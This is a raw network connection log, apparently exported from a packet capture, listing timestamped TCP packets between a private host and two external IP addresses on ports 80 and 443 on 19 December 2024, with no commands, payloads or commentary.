Dec 19, 2024 20:11:40.738656998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.738713026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.739319086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.739367962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.739434004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.739629984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.740489006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.740569115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.740600109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.740674019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.741615057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.741695881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.741739035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.741791010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.742714882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.742762089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.742881060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.743067026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.743830919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.743887901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.743980885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.744039059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.744936943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.745044947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.745107889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.746131897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.746236086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.746252060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.747126102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.747193098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.747241974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.747411966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.747698069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.748338938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.748390913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.748420954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.748478889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.749511003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.749562025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.749593019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.749646902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.750595093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.750643015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.750752926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.750828981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.751717091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.751770020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.751827955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.751912117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.752860069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.752986908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.753060102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.754143953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.754205942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.754234076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.754302979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.755064964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.755111933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.755182981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.755248070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.756203890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.756285906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.756313086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.756366968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.757447004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.757541895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.757569075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.757606030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.758852959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.758903027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.759021044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.759069920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.759776115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.759823084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.759891033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.759929895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.760941982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.761084080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.761137962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.762084007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.762136936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.762307882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.762356043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.763282061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.763370991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.763400078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.763443947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.764288902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.764343023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.897927999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.897995949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.898118973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.898214102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.898534060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.898541927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.898581982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.899560928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.899622917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.899729967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.899776936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.900707006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.900787115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.900815010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.900877953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.901695967 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:40.901731968 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:40.901803970 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:40.901823997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.901896954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.901912928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.901962996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.902179956 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:40.902192116 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:40.902946949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.902997971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.903765917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.903821945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.904126883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.904165983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.904572964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.904623985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.905219078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.905334949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.905390024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.906331062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.906421900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.906450987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.906616926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.907527924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.907582045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.907731056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.907798052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.908648014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.908703089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.908875942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.909101963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.909771919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.909779072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.909842014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.910795927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.910885096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.910906076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.910964012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.911957026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.912050962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.912102938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.912154913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.913054943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.913278103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.913332939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.914225101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.914374113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.914616108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.914655924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.915323019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.915383101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.915622950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.915888071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.916524887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.916672945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.916681051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.917150021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.917596102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.917776108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.918061972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.918252945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.918735981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.918776989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.919194937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.919270039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.919816971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.919882059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.920170069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.920209885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.920937061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.921422958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.921993971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.922044039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.922132969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.922147036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.922190905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.922207117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.923197031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.923259020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.923396111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.923439980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.924320936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.924366951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.924565077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.924607992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.925430059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.925604105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.925616026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.925643921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.926652908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.926704884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.926821947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.926907063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.927663088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.927716017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.927999973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.928141117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.928828001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.928890944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.928915024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.928944111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.929964066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.930006981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.930114031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.930161953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.931073904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.931118965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.931469917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.931540012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.932219982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.932231903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.932281971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.933434963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.933479071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.933675051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.933717012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.934429884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.934473991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.934608936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.934650898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.935534954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.935646057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.935691118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.936712027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.936794043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.936821938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.937004089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.937793016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.937833071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.938323021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.938376904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.938930035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.938983917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.939074039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.939120054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.940068960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.940177917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.940371990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.940423965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.941524029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.941669941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.942487001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.942672014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.942683935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.942728043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.942759037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.943435907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.943495989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.943665981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.943720102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.944561005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.944612980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.944669962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.944714069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.945693016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.945745945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.946074963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.946122885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.946794987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.946898937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.946954966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.947036982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.947913885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.947957993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.948144913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.948266983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.949059010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.949103117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.949167013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.949209929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.950159073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.950267076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.950469017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.950508118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.951297045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.951335907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.951731920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.951775074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.952406883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.952466965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.952877998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.952929974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.953553915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.953604937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.953749895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.953795910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.954646111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.954693079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.954807043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.954957008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.955777884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.955854893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.956011057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.956054926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.956850052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.956898928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.090148926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.090208054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.090715885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.090792894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.090903044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.090915918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.090945005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.090960979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.091049910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.092133999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.092348099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.092405081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.092612028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.092659950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.093640089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.093691111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.093955994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.094000101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.094659090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.094806910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.094858885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.095618010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.095722914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.095757008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.095804930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.096678019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.096729994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.096885920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.097047091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.097642899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.097693920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.097811937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.097872972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.098900080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.099001884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.099234104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.099283934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.099997044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.100040913 CET	49842	80	192.168.2.4	31.41.244.11
